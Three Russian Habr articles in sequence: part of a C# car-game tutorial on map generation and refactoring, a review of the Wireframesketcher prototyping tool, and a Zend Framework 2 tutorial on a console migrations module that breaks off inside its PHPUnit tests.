После этого в методе Initialize прописываем генерацию объектов (их пока два — машинка игрока и машинка не игрока) в соответствии со значениями в ячейках — 'P' — игрок, 'C' — другая машинка.
```
//<......................>
private int _currentId;
private char[,] _map = new char [10, 8];
private int _tileSize = 100;
public int PlayerId { get; set; }
public Dictionary Object { get; set; }
public void Initialize()
{
Objects = new Dictionary();
\_map[5, 6] = 'P';
\_map[4, 4] = 'C';
\_map[6, 6] = 'C';
\_currentId = 1;
bool isPlacedPlayer = false;//Проверяем, не разместили ли мы уже игрока
for (int y = 0; y < \_map.GetLength(1); y++)
for (int x = 0; x < \_map.GetLength(0); x++)
{
if (\_map[x, y] == 'P' && !isPlacedPlayer)
{
Car player = new Car();
player.ImageId = 1;
player.Pos = new Vector2(x\*\_tileSize + \_tileSize/2 - 38,
y\*\_tileSize + \_tileSize/2 - 50);
player.Speed = new Vector2(0, 0);
PlayerId = \_currentId;
Objects.Add(\_currentId, player);
isPlacedPlayer = true;
\_currentId++;
}
else if (\_map[x, y] == 'C')
{
Car anotherCar = new Car();
anotherCar.Pos = new Vector2(x\*\_tileSize + \_tileSize/2 - 38,
y\*\_tileSize + \_tileSize/2 - 50);
anotherCar.ImageId = 1;
anotherCar.Speed = new Vector2(0, 0);
Objects.Add(\_currentId, anotherCar);
\_currentId++;
}
}
}
```
Итак, вместо жестко заданной генерации наш метод проходит циклом по нашей карте \_map, проверяет значение в ячейках и размещает объект с учетом размера тайла. Смещения позиции я подобрал так, чтобы машинка размещалась по центру тайла: мы смещаем относительно верхнего левого угла тайла левый верхний угол машинки сначала на половину его размера по X и Y — тогда левый верхний угол машинки будет в центре тайла. После этого смещаем его уже вверх и влево на половину размеров спрайта машинки.
Кроме того, я добавил в методе переменную isPlacedPlayer, чтобы невозможно было сгенерировать больше одного игрока.
*Примечание: Здесь невооруженным взглядом заметен довольно уродливый дубляж кода, но пока беспокоиться не нужно — мы все поправим.*
Пока я создал в ячейках (4;4) и (6;4) машинки NPC, а в ячейке (5;6) — игрока. Всего же размер массива сейчас 10х8 при размере тайла 100 — то есть, наша карта занимает примерно один экран, машинка игрока должна сгенерироваться по центру и снизу, а NPC — на 100 пикселей выше слева и справа. Запустим и проверим.
Генерация трех машинок согласно картеВсе работает, можно идти дальше. Добавим второй основной объект, который должен в этой игре присутствовать помимо машинок — стенки трассы. Создаем класс Wall, который реализует интерфейс IObject, чтобы он мог корректно работать внутри нашей системы:
```
class Wall : IObject
{
public int ImageId { get; set; }
public Vector2 Pos { get; set; }
public void Update()
{
}
}
```
Класс очень простой — у стенки нет ничего, кроме позиции и номера спрайта — пока у нее никакого апдейта не предполагается. Добавим в код игрового цикла генерацию стенки, а в массиве будем обозначать ее как 'W':
```
public void Initialize()
{
Objects = new Dictionary();
\_map[5, 6] = 'P';
\_map[4, 4] = 'C';
\_map[6, 6] = 'C';
//Генерируем стенки по краям трассы
for (int y = 0; y < \_map.GetLength(1); y++)
{
\_map[0, y] ='W';
\_map[\_map.GetLength(0)-1, y] ='W';
}
\_currentId = 1;
bool isPlacedPlayer = false;
for (int y = 0; y < \_map.GetLength(1); y++)
for (int x = 0; x < \_map.GetLength(0); x++)
{
//Напоминаю, что таким знаком я обозначаю куски кода,
//который не менялся
//<........................>
else if (\_map[x, y] == 'W')
{
Wall w = new Wall();
w.Pos = new Vector2(x\*\_tileSize + \_tileSize/2 - 12,
y\*\_tileSize + \_tileSize/2 - 50);
w.ImageId = 2;
Objects.Add(\_currentId, w);
\_currentId++;
}
}
}
```
Спрайт для стенки я сделал заранее и уже добавил в словарь спрайтов — повторяться не буду.
Теперь это, наконец, стало похоже на бессмертную классику моего детства:
Бессмертная классика моего детстваНастало время задуматься вот, о чем: мы сделали смещение камеры вместе с машинкой, но игра изначально не фокусируется на ней. Это станет заметно, если мы попробуем поместить машинку в другие координаты. Устраним это досадное недоразумение. Для этого достаточно в методе Initialize в конце вызвать событие Updated так же, как и в методе Update:
```
Updated.Invoke(this, new GameplayEventArgs()
{
Objects = Objects,
POVShift = Objects[PlayerId].Pos
});
```
Запускаем:
Итак, мы видим, что смещение произошло, но не туда, куда надо, так как я поставил значение POVShift равным координате левого верхнего угла спрайта машинки. Чтобы это исправить, нужно теперь из начального POVShift вычесть значения X и Y позиции, на которой машинка должна появиться на экране, то есть, на сколько сместить машинку относительно верхнего левого угла экрана:
```
Updated.Invoke(this, new GameplayEventArgs()
{
Objects = Objects,
POVShift = new Vector2(
Objects[PlayerId].Pos.X - 512 + 38,
Objects[PlayerId].Pos.Y - 512 + 50)
});
```
Я поставил ее по центру по оси OX и сместил на такое же значение 512 по OY вниз, чтобы машинка оказалась в нижней части экрана:
Кажется, что машинка находится не по центру, но на самом деле криво отцентрирована трасса — если смотреть на машинку и края экрана, то она ровно посередине. Сделаем трассу более протяженной и разместим машинку в ее начале (в самом низу, так как ось OY направлена вниз):
```
//<.......................>
//Длина трассы теперь 500 тайлов
private char[,] _map = new char [10, 500];
private int _tileSize = 100;
public int PlayerId { get; set; }
public Dictionary Object { get; set; }
public void Initialize()
{
Objects = new Dictionary();
\_map[5, 498] = 'P'; //Помещаем игрока в начало трассы
\_map[4, 4] = 'C';
\_map[6, 6] = 'C';
\_currentId = 1;
bool isPlacedPlayer = false;
//<.......................>
}
```
Немного изменим управление движением. Сейчас при нажатии клавиш мы каждый раз увеличиваем скорость, которая не сбрасывается. Это хорошо для движения вперед-назад, но на поворотах машину заносит, да и выглядит странно. Для этого в классе машинки пропишем, чтобы она сбрасывала боковую скорость в конце каждого обновления:
```
public class Car : IObject
{
public int ImageId { get; set; }
public Vector2 Pos { get; set; }
public void Update()
{
Pos += Speed;
Speed = new Vector2(0, Speed.Y);
}
}
```
Теперь при нажатии клавиш влево-вправо боковая скорость изменится на 1, машинка сдвинется при вызове метода Update, после чего сбросит скорость. Однако, 1 пиксель маловато, сделаем поворот чуть более резким. Для этого в GameCycle изменим две строчки в методе MovePlayer:
```
case IGameplayModel.Direction.right:
{
p.Speed += new Vector2(5, 0);
break;
}
case IGameplayModel.Direction.left:
{
p.Speed += new Vector2(-5, 0);
break;
}
```
Уже получилось нечто осязаемое, но прежде, чем идти дальше, нужно привести код в порядок.
*Минутка рефакторинга*
Самый разросшийся метод в нашей программе — Initalized в Модели. В нем наблюдается нехорошая тенденция, когда один метод делает все. Прежде чем ситуация стала необратимой разграничим зоны ответственности. Инициализация не должна заниматься непосредственной генерацией, она должна работать на более высоком уровне. Поэтому создаем методы генерации объектов в Модели — выведем генератор для каждого типа в отдельный метод. Так работать будет намного удобнее (***спойлер***: потом для генерации вообще будет сделан отдельный класс, но пока в этом нет необходимости).
```
private Car CreateCar (
float x, float y, int spriteId, Vector2 speed)
{
Car c = new Car();
c.ImageId = spriteId;
c.Pos = new Vector2(x, y);
c.Speed = speed;
return c;
}
private Wall CreateWall(
float x, float y, int spriteId)
{
Wall w = new Wall();
w.Pos = new Vector2(x, y);
w.ImageId = spriteId;
return w;
}
```
Заодно избавились от дубляжа - игрок и машинка генерируется одним и тем же методом. Вызываться нужные методы генерации тоже будут не в Initialize, сделаем для этого отдельный метод GenerateObject:
```
private IObject GenerateObject (
char sign, int xTile, int yTile)
{
float x = xTile*_tileSize;
float y = yTile*_tileSize;
IObject generatedObject = null;
if (sign == 'P'|| sign == 'C')
{
generatedObject = CreateCar(
x + _tileSize/2 - 38, y + _tileSize/2 - 50,
spriteId: 1, speed: new Vector2(0,0));
}
else if (sign == 'W')
{
generatedObject = CreateWall(
x + _tileSize/2 - 12, y + _tileSize/2 - 50,
spriteId: 2);
}
return generatedObject;
}
```
Теперь достаточно просто вызвать этот метод внутри Initialize, и у нас будет нужный готовый объект:
```
//<.....................>
_currentId = 1;
bool isPlacedPlayer = false;
for (int y = 0; y < _map.GetLength(1); y++)
for (int x = 0; x < _map.GetLength(0); x++)
{
if (_map[x, y] != '\0')
{
IObject generatedObject = GenerateObject(
_map[x, y], x, y);
Objects.Add(_currentId, generatedObject);
_currentId++;
}
}
PlayerId = 1;
Updated.Invoke(this, new GameplayEventArgs()
{
Objects = Objects,
POVShift = new Vector2(
Objects[PlayerId].Pos.X - 512 + 38,
Objects[PlayerId].Pos.Y - 512 + 50)
});
//<.....................>
```
Однако, теперь непонятно, что делать с айдишником игрока, так как он не всегда равен 1. Например, в текущей генерации на первый айдишник у нас стенка:
Новый спрайт игрокаДобавим проверку на расположение игрока. Выглядеть стало похуже, но пока я ничего лучше не придумал:
```
//<.....................>
_currentId = 1;
bool isPlacedPlayer = false;
for (int y = 0; y < _map.GetLength(1); y++)
for (int x = 0; x < _map.GetLength(0); x++)
{
if (_map[x, y] != '\0')
{
IObject generatedObject = GenerateObject(
_map[x, y], x, y);
if (_map[x, y] == 'P'&&!isPlacedPlayer)
{
PlayerId = _currentId;
isPlacedPlayer = true;
}
Objects.Add(_currentId, generatedObject);
_currentId++;
}
}
//Строку с PlayerId = 1 убрали
Updated.Invoke(this, new GameplayEventArgs()
{
Objects = Objects,
POVShift = new Vector2(
Objects[PlayerId].Pos.X - 512 + 38,
Objects[PlayerId].Pos.Y - 512 + 50)
});
//<.....................>
```
Следующая проблема — наша модель обращается к айдишникам спрайтов, их размерам и разрешению экрана, которые сейчас захардкожены.
Я долго (минуты 3) думал над этим, размышлял, пытался передавать параметры в модель по еще одному событию, но потом подумал — а зачем? Пусть этим занимается View! Убираем все это из модели и переносим во View. Оставляем пока только центрирование по тайлу, но потом и от него нужно будет избавиться:
```
//<.....................>
//Кусок метода Update Модели
Updated.Invoke(this, new GameplayEventArgs()
{
//Убрали указание на положение на экране
Objects = Objects,
POVShift = new Vector2(
Objects[PlayerId].Pos.X,
Objects[PlayerId].Pos.Y)
});
private IObject GenerateObject (
char sign, int xTile, int yTile)
{
float x = xTile*_tileSize;
float y = yTile*_tileSize;
IObject generatedObject = null;
//Убрали смещения на размеры спрайта
if (sign == 'P'|| sign == 'C')
{
generatedObject = CreateCar(
x + _tileSize/2, y + _tileSize/2,
spriteId: 1, speed: new Vector2(0,0));
}
else if (sign == 'W')
{
generatedObject = CreateWall(
x + _tileSize/2, y + _tileSize/2,
spriteId: 2);
}
return generatedObject;
}
```
POVShift теперь только передает коодинаты машины игрока, а в генерации мы оставили только привязку к центру тайла. Учет разрешения экрана пишем во View в методе инициализации класса:
```
protected override void Initalize()
{
base.Initialize();
_graphics.IsFullScreen = false;
_graphics.PreferredBackBufferWidth = 1024;
_graphics.PreferredBackBufferHeight = 768;
_graphics.ApplyChanges();
_visualShift.X -= _graphics.PreferredBackBufferWidth/2;
_visualShift.Y -= _graphics.PreferredBackBufferHeight*0.8f;
}
```
Теперь смещению камеры мы с самого начала добавляем желаемое положение игрока в видимой части экрана – потом сюда прибавятся уже координаты игрока на карте. Должно получиться то же самое, но теперь ответственности намного лучше разграничены и нам не нужно думать о том, насколько смещать позицию – расчет идет автоматически.
*Комментарий: отрисовку относительно центра спрайта (дополнительные смещения на 38, 12 и 50 пикселей у стенки и машинки) я убрал, поэтому положение отрисовки задается от левого верхнего угла спрайта. Когда я начинал статью, то эта отрисовка была, но затем я обнаружил, что ошибся, из-за чего наблюдался один неприятный баг, из-за которого криво обсчитывалось столкновение между объектами. Код исправлен (обращения к размерам спрайтам вообще выброшены), но на следующих скриншотах и гифках вы увидите красивое центрирование, когда баг я еще не нашел. Если вы используете предлагаемый мной код, то у вас все будет сдвинуто вправо на половину ширины машинки.*
Теперь нужно что-то решать с айдишниками спрайтов, которые мы присваиваем в модели. Я долго думал и решил просто добавить их номера перечислением в класс GameCycle:
```
public enum ObjectTypes : byte
{
car,
wall,
}
```
Я поставил им байтовый тип, поэтому теперь мы не сможем хранить больше 256 номеров, но не думаю, что нам понадобится даже столько. Вместо конкретных чисел ставим наши перечисления в методах GenerateObject и генерации машинки и стенки:
Прошу прощения за скриншот — в данном случае так легче показать, что поменялось.
Осталось сделать так, чтобы View обращался к тем же номерам:
```
protected override void LoadContent()
{
_spriteBatch = new SpriteBatch(GraphicsDevice);
_textures.Add((byte)GameCycle.ObjectTypes.car, Content.Load("Base\_car"));
\_textures.Add((byte)GameCycle.ObjectTypes.wall, Content.Load("Wall"));
}
```
Это немного нарушает паттерн MVP, потому что теперь View знает о модели, но, я думаю, это не так страшно. View мы теперь не можем использовать независимо от модели, но модель с другим View - вполне. На этом заканчиваем очередную минутку рефакторинга — можно двигаться дальше.
В следующий раз сделаем наши машинки и стенки материальными объектами! | https://habr.com/ru/post/679456/ | null | ru | null |
# Прототипирование с помощью Wireframesketcher
Как-то раз у меня возникла задача нарисовать для дизайнера небольшой, по возможности интерактивный прототип сайта. Естественно первым делом полез искать достойный инструмент на любимый хабрахабр.
Поиск инструмента
-----------------
Быстро нашел две хорошие статьи с перечнем необходимого софта:
* [Инструменты прототипирования и создания wireframes](http://habrahabr.ru/post/132403/)
* [Инструменты быстрого прототипирования](http://habrahabr.ru/post/70001/)
Попробовав бесплатные сервисы Cacoo, iPlotz, MockFlow, Mockup Builder, Pencil получил первое представление о функционале. Надо добавить, что бесплатные они с ограничением в один проект (исключение Mockup Builder), что конечно не очень удобно для хоть какой-то работы. Функционал примерно схож (рассматривал именно функционал прототипирования, без flowchart диаграмм и т.д.). Остановился на Mockup Builder и сделал на нем проект.
И когда проект был готов я случайно ~~полез на хабр~~ наткнулся на [Wireframesketcher](http://wireframesketcher.com/ "Wireframesketcher") и вот тут я понял — это именно то, что я искал.
* мультиплатформенный софт (собран на базе eclipse), есть как standalone версии так и в формате плагина для eclipse
* очень шустрый (особенно заметно в сравнении с конкурентами на air, silverlight)
* в комплекте есть палитра компонентов, разбитых на группы (лаконично и понятно)
Казалось бы ничего особенного, но вот работа с самими прототипами это козырь этой программы, все очень логично, функционально и удобно, в сравнении со всеми перечисленными мной аналогами.
Интерфейс
---------
Может показаться немного не привычен тем, кто еще не знаком с eclipse, но это быстро пройдет.
Все очень просто и понятно.
У каждого элементы можно редактировать сам текст элемента и его свойста
Редактирование текста с поддержкой форматирования очень гибкий инструмент, например такой текст компонента **tree**:
> `wireframing-tutorial
>
> -assets
>
> --icons
>
> ---7-location-map.svg
>
> ---9-av-shuffle.svg
>
> --logo.png
>
> --logo.screen
>
> --Star.svg`
>
>
мы увидим в таком виде:
Свойства элементов редактируются в окне:
при этом все это работает очень быстро не глючит, как например в Mockup Builder.
Такие возможности редактирования компонентов являются имхо необходимыми и достаточными, нет ничего лишнего, и все на своем месте.
В два клика кнопкам можно задать ссылку на внешний ресурс или внутреннюю страницу, что делает конечный прототип более живым.
Таким образом основной функционал данного рода программ здесь реализован отлично, но это еще не все…
Tutorial story
--------------
Выглядит так:
фактически это карта проекта, которую можно (только ее и можно, иначе будет только отдельные страницы) экспортировать в html с переходами между страницами.
Killer features
===============
У Wireframesketcher есть несколько очень удобных фич, которые максимально минимизируют процесс прототипирования.
* создание собственных компонентов за один клик (в последней версии 3.8.2)
* Screenflow
Компоненты
----------
Компонент создается из группы элементов
При этом мы можем редактировать компоненты так чтобы изменения затрагивали все его копии, так и без этого. Это становится актуальным когда у вас много одинаковых сложных элементов, и вдруг один нужно поменять не затрагивая остальные. Это очень удобно. Такого нет у конкурентов, но фича эта очень востребована.
Screenflow
----------
Это карта ссылок, наглядно показывает варианты возможных переходов между страницами.
Экспорт
-------
Тут все просто:
* Html
* Pdf
* Png
P.S.
----
В заключении хотел сказать, что несмотря на то, что я сравнивал коммерческую программу с бесплатными аналогами, функционал последних не расширяется даже после оплаты аккаунта.
Мне также приходилось работать и с таким комбайном как Axure (стоит 600$), у него конечно, есть свои плюшки, но основной функционал и сам процесс мне больше понравился у Wireframesketcher.
---
#### UPD
добавлю ссылки из комментариев:
[ptizza](https://habrahabr.ru/users/ptizza/)
> [Flairbuilder](http://flairbuilder.com/). Выбран после анализа порядка 12 веб и десктопных аналогов...
[Dyz](https://habrahabr.ru/users/dyz/)
> Пользую [www.easel.io](http://www.easel.io)
>
> Больше не вижу смысла в «эскизных» прототипах, если можно сразу фигачить html+css с такой же скоростью. | https://habr.com/ru/post/165711/ | null | ru | null |
# Пишем CLI модуль для Zend Framework 2
Приветствую!
Недавно начал работать с Zend Framework 2, и возникла потребность написать cli модуль работающий с миграциями базы данных.
В этой статье я опишу как создать модуль для Zend 2 для работы с ним из командной строки на примере модуля миграций, как написать тесты, как опубликовать модуль в packagist.org
*Что такое миграции: Миграции базы данных — это система классов описывающая действия над базой данных и позволяющая выполнять эти действия.*
#### **Установка фрэймворка**
Начнем с установки фрэймворка, в качестве каркаса возьмем ZendSkeletonApplication
Клонируем ZendSkeletonApplication, это скелет приложения.
cd projects\_dir/
git clone git://github.com/zendframework/ZendSkeletonApplication.git
//переименуем в SampleZendModule
mv ZendSkeletonApplication SampleZendModule
//устанавливаем сам zendframework через композер
php composer.phar self-update
php composer.phar install
Подробнее о базовой установке и быстрый старт можно прочитать здесь
[framework.zend.com/manual/2.0/en/index.html](http://framework.zend.com/manual/2.0/en/index.html) в разделе User Guide
#### **Общее описание**
Консольные задачи с Zend 2 пишутся по технологии MVC аналогично веб MVC, с использованием аналогичной системы роутинга, лишь немного отличающейся в связи со спецификой консольных параметров.
Роутер определяет какую команду нужно вызывать и вызывает нужный контроллер, передавая ему все данные.
Что характерно, для веб и консоли используются одни и теже контроллеры, различия пожалуй составляют только в использовании Zend\Console\Request вместо Zend\Http\Request и Zend\Console\Response вместо Zend\Http\Response, объект запроса и ответа соответственно.
Точкой взаимодействия с консольными командами является единая точка входа, та же что и отвечает за веб взаимодействие, т.е. обычно это /project/public/index.php
#### **Создание каркаса модуля**
Ввиду того что в Zend 2 все ещё нету консольных утилит для генерации кода, то создавать модуль придется руками.
Создаем следующую структуру каталогов от корня проекта
/project/
--/module/ — общая папка с модулями, по умолчанию там Application приложение которое должно быть обязательно
----/knyzev/ — название группы модулей или разработчика, вообще можно и не указывать но если публикуешь на packagist.org, то он хочет составное название вида group/package
------/zend-db-migrations/ — это сам каталог модуля
--------/config/ — папка для конфигов
--------/src/ — основная папка с классами
----------/ZendDbMigrations/ — каталог соответствующий пространству имен
------------/Controller/ — контроллеры
------------/Library/ — библиотека для работы миграций
------------Module.php — класс предоставляющий общую информацию о модуле
------------README.md — описание модуля
------------composer.json — описание модуля и зависимостей чтобы можно было опубликовать его на packagist.org
В Zend 2 приложение строится в виде модулей, каждый из которых может определять контроллеры, сервисы и т.д.
##### **Конфигурация**
Начнем с папки config, здесь нужно создать файл module.config.php содержащий конфиг, у меня получилось вот такое содержимое файла.
```
php
return array(
'migrations' = array(
'dir' => dirname(__FILE__) . '/../../../../migrations',
'namespace' => 'ZendDbMigrations\Migrations',
'show_log' => true
),
'console' => array(
'router' => array(
'routes' => array(
'db_migrations_version' => array(
'type' => 'simple',
'options' => array(
'route' => 'db_migrations_version [--env=]',
'defaults' => array(
'controller' => 'ZendDbMigrations\Controller\Migrate',
'action' => 'version'
)
)
),
'db_migrations_migrate' => array(
'type' => 'simple',
'options' => array(
'route' => 'db_migrations_migrate [] [--env=]',
'defaults' => array(
'controller' => 'ZendDbMigrations\Controller\Migrate',
'action' => 'migrate'
)
)
),
'db\_migrations\_generate' => array(
'type' => 'simple',
'options' => array(
'route' => 'db\_migrations\_generate [--env=]',
'defaults' => array(
'controller' => 'ZendDbMigrations\Controller\Migrate',
'action' => 'generateMigrationClass'
)
)
)
)
)
),
'controllers' => array(
'invokables' => array(
'ZendDbMigrations\Controller\Migrate' => 'ZendDbMigrations\Controller\MigrateController'
),
),
'view\_manager' => array(
'template\_path\_stack' => array(
\_\_DIR\_\_ . '/../view',
),
),
);
```
В этом конфиге controllers и view\_manager описывают где хранятся шаблоны и какие контроллеры будут вызываться, как я понял это сокращение, видимо можно обратится и напрямую, эти параметры являются стандартными для всех модулей.
Migrations — это настройки моего модуля задающие каталог хранения миграций, в моем случае это корневая директория проекта, namespace указанный в классах миграций и show\_log определяющий вывод логов на консоль.
Console — это конфигурирование консольного роутинга, в Zend 2 определение параметров консоли происходит через систему роутинга аналогичную используемой в веб части
Подробнее о работе консольного роутинга можно прочитать тут
[framework.zend.com/manual/2.0/en/modules/zend.console.routes.html](http://framework.zend.com/manual/2.0/en/modules/zend.console.routes.html)
Про обычный http роутинг здесь
[framework.zend.com/manual/2.0/en/modules/zend.mvc.routing.html](http://framework.zend.com/manual/2.0/en/modules/zend.mvc.routing.html)
Итак, создаем роуты. В данном случае нам понадобится три роута
1. db\_migrations\_version — выводит инфу о текущей версии базы данных
2. db\_migrations\_migrate [] [--env=] — выполняет либо откатывает миграции базы данных
3. db\_migrations\_generate — генерирует заглушку для базы данных
Описание параметров роута:
```
'db_migrations_migrate' => array(
'type' => 'simple',
'options' => array(
'route' => 'db_migrations_migrate [] [--env=]',
'defaults' => array(
'controller' => 'ZendDbMigrations\Controller\Migrate',
'action' => 'migrate'
)
)
),
```
type — тип маршрута,
options/route — название консольной команды с параметрами и опциями, если параметр необязательный он берется в квадратные скобки, подробное описание по ссылке выше.
options/defaults/controller — контроллер обрабатывающий маршрут
options/defaults/action — действие в контроллере
##### **Контроллер**
```
php
/**
* Zend Framework (http://framework.zend.com/)
*
* @link http://github.com/zendframework/ZendSkeletonApplication for the canonical source repository
* @copyright Copyright (c) 2005-2012 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
*/
namespace ZendDbMigrations\Controller;
use Zend\Mvc\Controller\AbstractActionController;
use Zend\View\Model\ViewModel;
use Zend\Console\Request as ConsoleRequest;
use ZendDbMigrations\Library\Migration;
use ZendDbMigrations\Library\MigrationException;
use ZendDbMigrations\Library\GeneratorMigrationClass;
use ZendDbMigrations\Library\OutputWriter;
/**
* Контроллер обеспечивает вызов команд миграций
*/
class MigrateController extends AbstractActionController
{
/**
* Создать объект класса миграций
* @return \Migrations\Library\Migration
*/
protected function getMigration(){
$adapter = $this-getServiceLocator()->get('Zend\Db\Adapter\Adapter');
$config = $this->getServiceLocator()->get('Configuration');
$console = $this->getServiceLocator()->get('console');
$output = null;
if($config['migrations']['show_log'])
{
$output = new OutputWriter(function($message) use($console) {
$console->write($message . "\n");
});
}
return new Migration($adapter, $config['migrations']['dir'], $config['migrations']['namespace'], $output);
}
/**
* Получить текущую версию миграции
* @return integer
*/
public function versionAction(){
$migration = $this->getMigration();
return sprintf("Current version %s\n", $migration->getCurrentVersion());
}
/**
* Мигрировать
*/
public function migrateAction(){
$migration = $this->getMigration();
$version = $this->getRequest()->getParam('version');
if(is_null($version) && $migration->getCurrentVersion() >= $migration->getMaxMigrationNumber($migration->getMigrationClasses()))
return "No migrations to execute.\n";
try{
$migration->migrate($version);
return "Migrations executed!\n";
}
catch (MigrationException $e) {
return "ZendDbMigrations\Library\MigrationException\n" . $e->getMessage() . "\n";
}
}
/**
* Сгенерировать каркасный класс для новой миграции
*/
public function generateMigrationClassAction(){
$adapter = $this->getServiceLocator()->get('Zend\Db\Adapter\Adapter');
$config = $this->getServiceLocator()->get('Configuration');
$generator = new GeneratorMigrationClass($config['migrations']['dir'], $config['migrations']['namespace']);
$className = $generator->generate();
return sprintf("Generated class %s\n", $className);
}
}
```
Вот пример типичного контроллера, действие (Action), к которому привязывается маршрут роутинга имеет название вида [name]Action, Action — обязательная часть, а name название команды.
Получение параметров запроса производится через классы Zend/Console/Request, через наследуемый базовый класс контроллера
$this->getRequest()->getParam('version') — так мы получили параметр version из роута db\_migrations\_migrate []
Все что возвращается из методов в виде plain text как в этом примере, будет обернуто в ViewModel и выведено прямо в консоль.
Для асинхронного вывода в консоль по мере работы приложения, нужно использовать Zend/Console/Response который доступен через сервис локатор $this->getServiceLocator()->get('console'), Поддерживает методы write, writeAt, writeLine. Подробное описание и параметры можно посмотреть в документации.
##### **Module.php**
```
php
namespace ZendDbMigrations;
use Zend\Mvc\ModuleRouteListener;
use Zend\ModuleManager\Feature\AutoloaderProviderInterface;
use Zend\ModuleManager\Feature\ConfigProviderInterface;
use Zend\ModuleManager\Feature\ConsoleUsageProviderInterface;
use Zend\Console\Adapter\AdapterInterface as Console;
use Zend\ModuleManager\Feature\ConsoleBannerProviderInterface;
class Module implements
AutoloaderProviderInterface,
ConfigProviderInterface,
ConsoleUsageProviderInterface,
ConsoleBannerProviderInterface
{
public function onBootstrap($e)
{
$e-getApplication()->getServiceManager()->get('translator');
$eventManager = $e->getApplication()->getEventManager();
$moduleRouteListener = new ModuleRouteListener();
$moduleRouteListener->attach($eventManager);
}
public function getConfig()
{
return include __DIR__ . '/config/module.config.php';
}
public function getAutoloaderConfig()
{
return array(
'Zend\Loader\StandardAutoloader' => array(
'namespaces' => array(
__NAMESPACE__ => __DIR__ . '/src/' . __NAMESPACE__,
),
),
);
}
public function getConsoleBanner(Console $console){
return 'DB Migrations Module';
}
public function getConsoleUsage(Console $console){
//description command
return array(
'db_migrations_version' => 'Get current migration version',
'db_migrations_migrate []' => 'Execute migrate',
'db\_migrations\_generate' => 'Generate new migration class'
);
}
}
```
Файл Module.php предоставляет некоторую информацию о модуле, все файлы Module.php автоматически загружаются при каждом запуске с целью загрузки файлов конфигураций и других данных.
В данном случае класс Module будет выглядеть вот таким образом.
Стоит особо отметить, что для того, чтобы при вызове консольного скрипта без параметров он выводил список всех существующих команд, нужно добавить в модуль поддержку интерфейса ConsoleUsageProviderInterface и его реализацию, который вывод массива команд с описанием как в примере выше.
Так например при запуске команды
php public/index.php
будут выведены все команды которые возвращает метод getConsoleUsage нашего модуля.
##### **Создание тестов PHPUnit**
Тесты в MVC Zend 2 как правило размещаются в папке tests в корне проекта и полностью соответствуют структуре модуля.
Например
/project/
-/module/
--/knyzev/
---/zend-db-migrations/
----/src/
-----/ZendDbMigrations/
------/Controller/
-------/MigrateController.php
-/tests/
--/knyzev/
---/zend-db-migrations/
----/src/
-----/ZendDbMigrations/
------/Controller/
-------/MigrateControllerTest.php
И приведу пример тестов на класс MigrateController
```
php
namespace Tests\ZendDbMigrations\Controller;
use ZendDbMigrations\Controller\MigrateController;
use Zend\Console\Request as ConsoleRequest;
use Zend\Console\Response;
use Zend\Mvc\MvcEvent;
use Zend\Mvc\Router\RouteMatch;
use PHPUnit_Framework_TestCase;
use \Bootstrap;
use Zend\Db\Adapter\Adapter;
use Zend\Db\Metadata\Metadata;
/**
* Тестирование контроллера MigrateController
*/
class MigrateControllerTest extends PHPUnit_Framework_TestCase {
protected $controller;
protected $request;
protected $response;
protected $routeMatch;
protected $event;
protected $eventManager;
protected $serviceManager;
protected $dbAdapter;
protected $connection;
protected $metadata;
protected $folderMigrationFixtures;
/**
* Настройки
*/
protected function setUp() {
$bootstrap = \Zend\Mvc\Application::init(Bootstrap::getAplicationConfiguration());
$this-request = new ConsoleRequest();
$this->routeMatch = new RouteMatch(array('controller' => 'migrate'));
$this->event = $bootstrap->getMvcEvent();
$this->event->setRouteMatch($this->routeMatch);
$this->eventManager = $bootstrap->getEventManager();
$this->serviceManager = $bootstrap->getServiceManager();
$this->dbAdapter = $bootstrap->getServiceManager()->get('Zend\Db\Adapter\Adapter');
$this->connection = $this->dbAdapter->getDriver()->getConnection();
$this->metadata = new Metadata($this->dbAdapter);
$this->folderMigrationFixtures = dirname(__FILE__) . '/../MigrationsFixtures';
$this->initController();
$this->tearDown();
}
protected function tearDown(){
$this->dbAdapter->query('DROP TABLE IF EXISTS migration_version CASCADE;', Adapter::QUERY_MODE_EXECUTE);
$this->dbAdapter->query('DROP TABLE IF EXISTS test_migrations CASCADE;', Adapter::QUERY_MODE_EXECUTE);
$this->dbAdapter->query('DROP TABLE IF EXISTS test_migrations2 CASCADE;', Adapter::QUERY_MODE_EXECUTE);
$iterator = new \GlobIterator($this->folderMigrationFixtures . '/tmp/*', \FilesystemIterator::KEY_AS_FILENAME);
foreach ($iterator as $item) {
if($item->isFile())
{
unlink($item->getPath() . '/' . $item->getFilename());
}
}
chmod($this->folderMigrationFixtures . '/tmp', 0775);
}
protected function initController(){
$this->controller = new MigrateController();
$this->controller->setEvent($this->event);
$this->controller->setEventManager($this->eventManager);
$this->controller->setServiceLocator($this->serviceManager);
}
/**
* Тест метода возвращающего номер версии
*/
public function testVersion() {
$this->routeMatch->setParam('action', 'version');
$result = $this->controller->dispatch($this->request);
$response = $this->controller->getResponse();
$this->assertEquals(200, $response->getStatusCode(), 'Status code is 200 OK!');
$this->assertInstanceOf('Zend\View\Model\ViewModel', $result, 'Method return object Zend\View\Model\ViewModel!');
$this->assertEquals("Current version 0\n", $result->getVariable('result'), 'Returt value is correctly!');
//добавляем информацию о версии
$this->connection->execute('INSERT INTO migration_version (version) VALUES (12345678910)');
//проверяем
$result = $this->controller->dispatch($this->request);
$response = $this->controller->getResponse();
$this->assertEquals("Current version 12345678910\n", $result->getVariable('result'), 'Returt value is correctly!');
}
/**
* Тест запуска миграций если классов миграций нету
*/
public function testMigrateIfNotMigrations() {
$this->routeMatch->setParam('action', 'migrate');
$result = $this->controller->dispatch($this->request);
$response = $this->controller->getResponse();
$this->assertEquals(200, $response->getStatusCode(), 'Status code is 200 OK!');
$this->assertInstanceOf('Zend\View\Model\ViewModel', $result, 'Method return object Zend\View\Model\ViewModel!');
$this->assertEquals("No migrations to execute.\n", $result->getVariable('result'), 'Return correct info if no exists not executable migations!');
}
/**
* Тест запуска миграций если есть миграция
*/
public function testMigrationIfExistsMigrations(){
//тестируем запуск миграции при наличии новой миграции
copy($this->folderMigrationFixtures . '/MigrationsGroup1/Version20121110210200.php',
$this->folderMigrationFixtures . '/tmp/Version20121110210200.php');
$this->routeMatch->setParam('action', 'migrate');
$result = $this->controller->dispatch($this->request);
$response = $this->controller->getResponse();
$this->assertEquals(200, $response->getStatusCode(), 'Status code is 200 OK!');
$this->assertEquals("Migrations executed!\n", $result->getVariable('result'), 'Return correct info if executed migrations!');
